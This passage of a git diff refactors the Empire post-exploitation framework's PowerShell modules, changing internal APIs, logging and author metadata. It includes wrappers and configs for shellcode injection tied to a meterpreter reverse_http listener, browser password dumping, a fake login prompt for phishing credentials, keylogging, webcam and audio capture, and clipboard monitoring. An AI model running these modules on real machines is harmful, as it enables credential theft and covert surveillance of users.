script_end += " -" + str(option) + " " + str(values)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml
index 12269c64c..6b3e1f279 100644
--- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.yaml
@@ -1,10 +1,12 @@
name: Invoke-ReflectivePEInjection
authors:
- - '@JosephBialek'
-description: Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load
- a DLL/EXE in to the PowerShell process or reflectively load a DLL in to a remote
- process.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load a DLL/EXE in to the PowerShell process or
+ reflectively load a DLL in to a remote process.
software: S0194
+tactics: []
techniques:
- T1055
background: false
@@ -37,14 +39,13 @@ options:
required: false
value: ''
- name: ForceASLR
- description: Optional, will force the use of ASLR on the PE being loaded even if
- the PE indicates it doesn't support ASLR.
+ description: Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR.
required: true
value: 'False'
- name: ComputerName
description: Optional an array of computernames to run the script on.
required: false
value: ''
-script_path: 'management/Invoke-ReflectivePEInjection.ps1'
+script_path: management/Invoke-ReflectivePEInjection.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py
index 6ebb41bbb..39b59beb5 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py
@@ -1,12 +1,11 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
+from pathlib import Path
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.config import empire_config
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +13,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -38,12 +36,14 @@ def generate(
# Old method no longer working
# temporary fix until a more elegant solution is in place, unless this is the most elegant???? :)
# [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = main_menu.listeners.get_listener(listener_name)
- host = main_menu.listeners.loadedListeners["meterpreter"].options[
- "Host"
- ]
- port = main_menu.listeners.loadedListeners["meterpreter"].options[
- "Port"
- ]
+ # replacing loadedListeners call with listener_template_service's new_instance method.
+ # still doesn't seem right though since that's just laoding in the default. -vr
+ host = main_menu.listenertemplatesv2.new_instance(
+ "meterpreter"
+ ).options["Host"]
+ port = main_menu.listenertemplatesv2.new_instance(
+ "meterpreter"
+ ).options["Port"]
MSFpayload = "reverse_http"
if "https" in host:
@@ -62,9 +62,8 @@ def generate(
sc = ",0".join(values.split("\\"))[0:]
script_end += " -" + str(option) + " @(" + sc + ")"
elif option.lower() == "file":
- with open(
- f"{main_menu.directory['downloads']}{values}", "rb"
- ) as bin_data:
+ location = Path(empire_config.directories.downloads) / values
+ with location.open("rb") as bin_data:
shellcode_bin_data = bin_data.read()
sc = ""
for x in range(len(shellcode_bin_data)):
@@ -75,7 +74,7 @@ def generate(
script_end += "; 'Shellcode injected.'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml
index 82a13255e..750b07194 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml
@@ -1,13 +1,16 @@
name: Invoke-Shellcode
authors:
- - '@mattifestation'
-description: Uses PowerSploit's Invoke-Shellcode to inject shellcode into the process
- ID of your choosing or within the context of the running PowerShell process. If
- you're injecting custom shellcode, make sure it's in the correct format and matches
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+description: Uses PowerSploit's Invoke-Shellcode to inject shellcode into the process ID of your choosing or within the context
+ of the running PowerShell process. If you're injecting custom shellcode, make sure it's in the correct format and matches
the architecture of the process you're injecting into.
software: S0194
+tactics:
+ - TA0005
techniques:
- - T1064
+ - T1620
background: true
output_extension:
needs_admin: false
@@ -34,6 +37,6 @@ options:
description: Binary filename in '/empire/server/downloads' to load and execute.
required: false
value: ''
-script_path: 'code_execution/Invoke-Shellcode.ps1'
+script_path: code_execution/Invoke-Shellcode.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
index 67b546898..06abbc32d 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -40,7 +36,7 @@ def generate(
sc = ",0".join(values.split("\\"))[1:]
script_end += " -" + str(option) + " @(" + sc + ")"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml
index 29badaa2b..687ff18b2 100644
--- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml
@@ -1,13 +1,16 @@
name: Invoke-ShellcodeMSIL
authors:
- - '@mattifestation'
-description: 'Execute shellcode within the context of the running PowerShell process
- without making any Win32 function calls. Warning: This script has no way to validate
- that your shellcode is 32 vs. 64-bit!Note: Your shellcode must end in a ret (0xC3)
- and maintain proper stack alignment or PowerShell will crash!'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+description: 'Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
+ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!Note: Your shellcode must end in a ret
+ (0xC3) and maintain proper stack alignment or PowerShell will crash!'
software: ''
+tactics:
+ - TA0002
techniques:
- - T1064
+ - T1059
background: false
output_extension:
needs_admin: false
@@ -26,6 +29,6 @@ options:
description: Shellcode to inject, 0x00,0x0a,... format.
required: true
value: ''
-script_path: 'code_execution/Invoke-ShellcodeMSIL.ps1'
+script_path: code_execution/Invoke-ShellcodeMSIL.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml b/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml
index 6b486edf4..48c5372c0 100644
--- a/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml
+++ b/empire/server/modules/powershell/code_execution/invoke_ssharp.yaml
@@ -1,10 +1,14 @@
name: Invoke-SSharp
authors:
- - '@byt3bl33d3r'
- - '@Cx01N'
-description: Executes SSharp from an embedded compiler within PowerShell. Compilation
- does not call csc.exe
+ - name: ''
+ handle: '@byt3bl33d3r'
+ link: https://twitter.com/byt3bl33d3r
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+description: Executes SSharp from an embedded compiler within PowerShell. Compilation does not call csc.exe
software: ''
+tactics: []
techniques:
- T1059
background: true
@@ -26,5 +30,5 @@ options:
description: Base64 encoded SSharp code
required: true
value: ''
-script_path: 'code_execution/Invoke-SSharp.ps1'
-script_end: Invoke-SSharp {{ PARAMS }}
\ No newline at end of file
+script_path: code_execution/Invoke-SSharp.ps1
+script_end: Invoke-SSharp {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/ChromeDump.yaml b/empire/server/modules/powershell/collection/ChromeDump.yaml
index 51eb0e8f2..c7f155a57 100644
--- a/empire/server/modules/powershell/collection/ChromeDump.yaml
+++ b/empire/server/modules/powershell/collection/ChromeDump.yaml
@@ -1,9 +1,11 @@
name: Get-ChromeDump
authors:
- - '@xorrior'
-description: This module will decrypt passwords saved in chrome and display them in
- the console.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This module will decrypt passwords saved in chrome and display them in the console.
software: ''
+tactics: []
techniques:
- T1503
background: true
@@ -26,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -34,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-ChromeDump.ps1'
+script_path: collection/Get-ChromeDump.ps1
script_end: Get-ChromeDump {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-ChromeDump completed'
diff --git a/empire/server/modules/powershell/collection/FoxDump.yaml b/empire/server/modules/powershell/collection/FoxDump.yaml
index 9a15ed685..06940ac88 100644
--- a/empire/server/modules/powershell/collection/FoxDump.yaml
+++ b/empire/server/modules/powershell/collection/FoxDump.yaml
@@ -1,10 +1,12 @@
name: FoxDump
authors:
- - '@xorrior'
-description: This module will dump any saved passwords from Firefox to the console.
- This should work for any versionof Firefox above version 32. This will only be successful
- if the master password is blank or has not been set.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox
+ above version 32. This will only be successful if the master password is blank or has not been set.
software: ''
+tactics: []
techniques:
- T1503
background: true
@@ -28,7 +30,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -36,5 +38,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-FoxDump.ps1'
+script_path: collection/Get-FoxDump.ps1
script_end: Get-FoxDump {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-FoxDump completed'
diff --git a/empire/server/modules/powershell/collection/SauronEye.yaml b/empire/server/modules/powershell/collection/SauronEye.yaml
index fc41acf54..e859b4d79 100644
--- a/empire/server/modules/powershell/collection/SauronEye.yaml
+++ b/empire/server/modules/powershell/collection/SauronEye.yaml
@@ -1,10 +1,14 @@
name: Invoke-SauronEye
authors:
- - '@vivami'
- - '@S3cur3Th1sSh1t'
-description: SauronEye is a search tool built to aid red teams in finding files containing
- specific keywords.
+ - name: ''
+ handle: '@vivami'
+ link: ''
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: SauronEye is a search tool built to aid red teams in finding files containing specific keywords.
software: ''
+tactics: []
techniques:
- T1083
background: false
@@ -56,7 +60,7 @@ options:
description: Check if 2003 Office files (*.doc and *.xls) contain a VBA macro
required: false
value: 'True'
-script_path: 'collection/Invoke-SauronEye.ps1'
+script_path: collection/Invoke-SauronEye.ps1
script_end: Invoke-SauronEye -Command "{{ PARAMS }}"
advanced:
option_format_string: --{{ KEY }} {{ VALUE }}
diff --git a/empire/server/modules/powershell/collection/SharpChromium.py b/empire/server/modules/powershell/collection/SharpChromium.py
index 6e168686a..677066934 100644
--- a/empire/server/modules/powershell/collection/SharpChromium.py
+++ b/empire/server/modules/powershell/collection/SharpChromium.py
@@ -1,27 +1,26 @@
from __future__ import print_function
-import pathlib
+import logging
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
+log = logging.getLogger(__name__)
+
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,13 +33,13 @@ def generate(
# check type
if params["Type"].lower() not in ["all", "logins", "history", "cookies"]:
- print(helpers.color("[!] Invalid value of Type, use default value: all"))
+ log.error("Invalid value of Type, use default value: all")
params["Type"] = "all"
script_end += " -Type " + params["Type"]
# check domain
if params["Domains"].lower() != "":
if params["Type"].lower() != "cookies":
- print(helpers.color("[!] Domains can only be used with Type cookies"))
+ log.error("Domains can only be used with Type cookies")
else:
script_end += " -Domains ("
for domain in params["Domains"].split(","):
@@ -56,7 +55,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/SharpChromium.yaml b/empire/server/modules/powershell/collection/SharpChromium.yaml
index 8b356c47e..7461c2a02 100644
--- a/empire/server/modules/powershell/collection/SharpChromium.yaml
+++ b/empire/server/modules/powershell/collection/SharpChromium.yaml
@@ -1,10 +1,14 @@
name: Get-SharpChromium
authors:
- - '@tyraniter'
-description: This module will retrieve cookies, history, saved logins from Google
- Chrome, Microsoft Edge, and Microsoft Edge Beta.
+ - name: ''
+ handle: '@tyraniter'
+ link: ''
+description: This module will retrieve cookies, history, saved logins from Google Chrome, Microsoft Edge, and Microsoft Edge
+ Beta.
software: ''
+tactics: []
techniques:
+
- T1503
background: true
output_extension:
@@ -20,19 +24,17 @@ options:
required: true
value: ''
- name: Type
- description: Kind of data to be retrieved, should be "all", "logins", "history"
- or "cookies".
+ description: Kind of data to be retrieved, should be "all", "logins", "history" or "cookies".
required: true
value: all
- name: Domains
- description: Set with Type cookies, return only cookies matching those domains.
- Separate with ","
+ description: Set with Type cookies, return only cookies matching those domains. Separate with ","
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml b/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml
index 133282b50..acca32478 100644
--- a/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml
+++ b/empire/server/modules/powershell/collection/SharpLoginPrompt.yaml
@@ -1,12 +1,16 @@
name: Invoke-SharpLoginPrompt
authors:
- - '@shantanu561993'
- - '@S3cur3Th1sSh1t'
-description: This Program creates a login prompt to gather username and password of
- the current user. This project allows red team to phish username and password of
- the current user without touching lsass and having administrator credentials on
- the system.
+ - name: ''
+ handle: '@shantanu561993'
+ link: ''
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: This Program creates a login prompt to gather username and password of the current user. This project allows
+ red team to phish username and password of the current user without touching lsass and having administrator credentials
+ on the system.
software: ''
+tactics: []
techniques:
- T1056
background: false
@@ -30,8 +34,8 @@ options:
description: Customized subheading for prompt.
required: false
value: ''
-script_path: 'collection/Invoke-SharpLoginPrompt.ps1'
-script_end: "Invoke-SharpLoginPrompt -Command \"{{ PARAMS }}\""
+script_path: collection/Invoke-SharpLoginPrompt.ps1
+script_end: Invoke-SharpLoginPrompt -Command "{{ PARAMS }}"
advanced:
- option_format_string: "{{ VALUE }}"
- option_format_string_boolean: ""
\ No newline at end of file
+ option_format_string: '{{ VALUE }}'
+ option_format_string_boolean: ''
diff --git a/empire/server/modules/powershell/collection/USBKeylogger.yaml b/empire/server/modules/powershell/collection/USBKeylogger.yaml
index 6158c7fc7..6310a43b5 100644
--- a/empire/server/modules/powershell/collection/USBKeylogger.yaml
+++ b/empire/server/modules/powershell/collection/USBKeylogger.yaml
@@ -1,9 +1,14 @@
name: Get-USBKeyStrokes
authors:
- - '@Conjectural_hex'
- - '@CyberPoint_SRT'
+ - name: ''
+ handle: '@Conjectural_hex'
+ link: ''
+ - name: ''
+ handle: '@CyberPoint_SRT'
+ link: ''
description: Logs USB keys pressed using Event Tracing for Windows (ETW)
software: ''
+tactics: []
techniques:
- T1056
background: true
@@ -21,5 +26,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'collection/Get-Keystrokes.ps1'
-script_end: Get-USBKeystrokes {{ PARAMS }}
\ No newline at end of file
+script_path: collection/Get-Keystrokes.ps1
+script_end: Get-USBKeystrokes {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/WebcamRecorder.yaml b/empire/server/modules/powershell/collection/WebcamRecorder.yaml
index 4982f1ba9..398618dcf 100644
--- a/empire/server/modules/powershell/collection/WebcamRecorder.yaml
+++ b/empire/server/modules/powershell/collection/WebcamRecorder.yaml
@@ -1,9 +1,11 @@
name: Start-WebcamRecorder
authors:
- - '@xorrior'
-description: This module uses the DirectX.Capture and DShowNET .NET assemblies to
- capture video from a webcam.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This module uses the DirectX.Capture and DShowNET .NET assemblies to capture video from a webcam.
software: ''
+tactics: []
techniques:
- T1125
background: false
@@ -25,8 +27,7 @@ options:
required: false
value: ''
- name: OutPath
- description: Temporary save path for the .avi file. Defaults to the current users
- APPDATA\roaming directory
+ description: Temporary save path for the .avi file. Defaults to the current users APPDATA\roaming directory
required: false
value: ''
script: |
diff --git a/empire/server/modules/powershell/collection/WireTap.py b/empire/server/modules/powershell/collection/WireTap.py
index 18eccad99..f9f8055e2 100644
--- a/empire/server/modules/powershell/collection/WireTap.py
+++ b/empire/server/modules/powershell/collection/WireTap.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -46,7 +42,7 @@ def generate(
script_end += " " + str(option) + " " + str(values)
script_end += '"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/WireTap.yaml b/empire/server/modules/powershell/collection/WireTap.yaml
index 96748c4aa..0e688a8d4 100644
--- a/empire/server/modules/powershell/collection/WireTap.yaml
+++ b/empire/server/modules/powershell/collection/WireTap.yaml
@@ -1,12 +1,16 @@
name: Invoke-WireTap
authors:
- - '@mDoi12mdjf'
- - '@S3cur3Th1sSh1t'
-description: 'WireTap is a .NET 4.0 project to consolidate several functions used
- to interact with a user''s hardware, including: Screenshots (Display + WebCam Imaging),
- Audio (Both line-in and line-out), Keylogging, & Activate voice recording when the
- user says a keyword phrase. Note: Only one method can be ran at a time.'
+ - name: ''
+ handle: '@mDoi12mdjf'
+ link: ''
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: "WireTap is a .NET 4.0 project to consolidate several functions used to interact with a user's hardware, including:\
+ \ Screenshots (Display + WebCam Imaging), Audio (Both line-in and line-out), Keylogging, & Activate voice recording when\
+ \ the user says a keyword phrase. Note: Only one method can be ran at a time."
software: ''
+tactics: []
techniques:
- T1123
- T1125
@@ -49,8 +53,8 @@ options:
required: false
value: ''
- name: listen_for_passwords
- description: Listens for words 'username', 'password', 'login' and 'credential',
- and when heard, starts an audio recording for two minutes.
+ description: Listens for words 'username', 'password', 'login' and 'credential', and when heard, starts an audio recording
+ for two minutes.
required: false
value: ''
- name: time
@@ -59,4 +63,4 @@ options:
value: 10s
script_path: collection/Invoke-WireTap.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/collection/browser_data.yaml b/empire/server/modules/powershell/collection/browser_data.yaml
index 89bb1e695..bd2d66527 100644
--- a/empire/server/modules/powershell/collection/browser_data.yaml
+++ b/empire/server/modules/powershell/collection/browser_data.yaml
@@ -1,8 +1,11 @@
name: Get-BrowserData
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Search through browser history or bookmarks
software: ''
+tactics: []
techniques:
- T1503
background: true
@@ -37,7 +40,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -45,5 +48,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-BrowserData.ps1'
+script_path: collection/Get-BrowserData.ps1
script_end: Get-BrowserInformation {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-BrowserData completed'
diff --git a/empire/server/modules/powershell/collection/clipboard_monitor.yaml b/empire/server/modules/powershell/collection/clipboard_monitor.yaml
index fc54badd7..2921d0942 100644
--- a/empire/server/modules/powershell/collection/clipboard_monitor.yaml
+++ b/empire/server/modules/powershell/collection/clipboard_monitor.yaml
@@ -1,9 +1,11 @@
name: Get-ClipboardContents
authors:
- - '@harmj0y'
-description: Monitors the clipboard on a specified interval for changes to copied
- text.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Monitors the clipboard on a specified interval for changes to copied text.
software: ''
+tactics: []
techniques:
- T1115
- T1414
@@ -21,14 +23,12 @@ options:
required: true
value: ''
- name: CollectionLimit
- description: Specifies the interval in minutes to capture clipboard text. Defaults
- to indefinite collection.
+ description: Specifies the interval in minutes to capture clipboard text. Defaults to indefinite collection.
required: false
value: ''
- name: PollInterval
- description: Interval (in seconds) to check the clipboard for changes, defaults
- to 15 seconds.
+ description: Interval (in seconds) to check the clipboard for changes, defaults to 15 seconds.
required: true
value: '15'
-script_path: 'collection/Get-ClipboardContents.ps1'
-script_end: Get-ClipboardContents {{ PARAMS }}
\ No newline at end of file
+script_path: collection/Get-ClipboardContents.ps1
+script_end: Get-ClipboardContents {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/file_finder.yaml b/empire/server/modules/powershell/collection/file_finder.yaml
index 6fb70df97..a0d0dcbac 100644
--- a/empire/server/modules/powershell/collection/file_finder.yaml
+++ b/empire/server/modules/powershell/collection/file_finder.yaml
@@ -1,8 +1,11 @@
name: Invoke-FileFinder
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Finds sensitive files on the domain.
software: ''
+tactics: []
techniques:
- T1083
background: true
@@ -71,8 +74,7 @@ options:
required: false
value: ''
- name: SearchSYSVOL
- description: Switch. Search for login scripts on the SYSVOL of the primary DCs for
- each specified domain.
+ description: Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.
required: false
value: ''
- name: Threads
@@ -82,7 +84,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -90,5 +92,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Invoke-FileFinder {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-FileFinder completed'
diff --git a/empire/server/modules/powershell/collection/find_interesting_file.yaml b/empire/server/modules/powershell/collection/find_interesting_file.yaml
index 284d37ef8..3a7963173 100644
--- a/empire/server/modules/powershell/collection/find_interesting_file.yaml
+++ b/empire/server/modules/powershell/collection/find_interesting_file.yaml
@@ -1,8 +1,11 @@
name: Find-InterestingFile
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Finds sensitive files on the domain.
software: ''
+tactics: []
techniques:
- T1083
background: true
@@ -53,7 +56,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -61,5 +64,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Find-InterestingFile {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-InterestingFile completed'
diff --git a/empire/server/modules/powershell/collection/get-winupdates.yaml b/empire/server/modules/powershell/collection/get-winupdates.yaml
index 4579caaf6..7b7bd25f4 100644
--- a/empire/server/modules/powershell/collection/get-winupdates.yaml
+++ b/empire/server/modules/powershell/collection/get-winupdates.yaml
@@ -1,10 +1,14 @@
name: Get Microsoft Updates
authors:
- - Maarten Hartsuijker
- - '@classityinfosec'
-description: This module will list the Microsoft update history, including pending
- updates, of the machine
+ - name: Maarten Hartsuijker
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@classityinfosec'
+ link: ''
+description: This module will list the Microsoft update history, including pending updates, of the machine
software: ''
+tactics: []
techniques:
- T1082
background: true
@@ -21,14 +25,13 @@ options:
required: true
value: ''
- name: ComputerName
- description: The ComputerName this agents user has admin access to that must be
- queried for updates
+ description: The ComputerName this agents user has admin access to that must be queried for updates
required: true
value: localhost
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -36,5 +39,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-WinUpdates.ps1'
+script_path: collection/Get-WinUpdates.ps1
script_end: Get-WinUpdates {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-WinUpdates completed'
diff --git a/empire/server/modules/powershell/collection/get_indexed_item.yaml b/empire/server/modules/powershell/collection/get_indexed_item.yaml
index 0178a40e9..fa59ee20a 100644
--- a/empire/server/modules/powershell/collection/get_indexed_item.yaml
+++ b/empire/server/modules/powershell/collection/get_indexed_item.yaml
@@ -1,8 +1,11 @@
-name: 'Get-IndexedItem'
+name: Get-IndexedItem
authors:
- - '@James O''Neill'
+ - name: ''
+ handle: "@James O'Neill"
+ link: ''
description: Gets files which have been indexed by Windows desktop search.
software: ''
+tactics: []
techniques:
- T1083
background: false
@@ -25,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -33,5 +36,7 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-IndexedItem.ps1'
-script_end: Get-IndexedItem {{ PARAMS }} | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY | fl | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-IndexedItem completed'
+script_path: collection/Get-IndexedItem.ps1
+script_end: Get-IndexedItem {{ PARAMS }} | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER,
+ SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY | fl | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-IndexedItem
+ completed'
diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
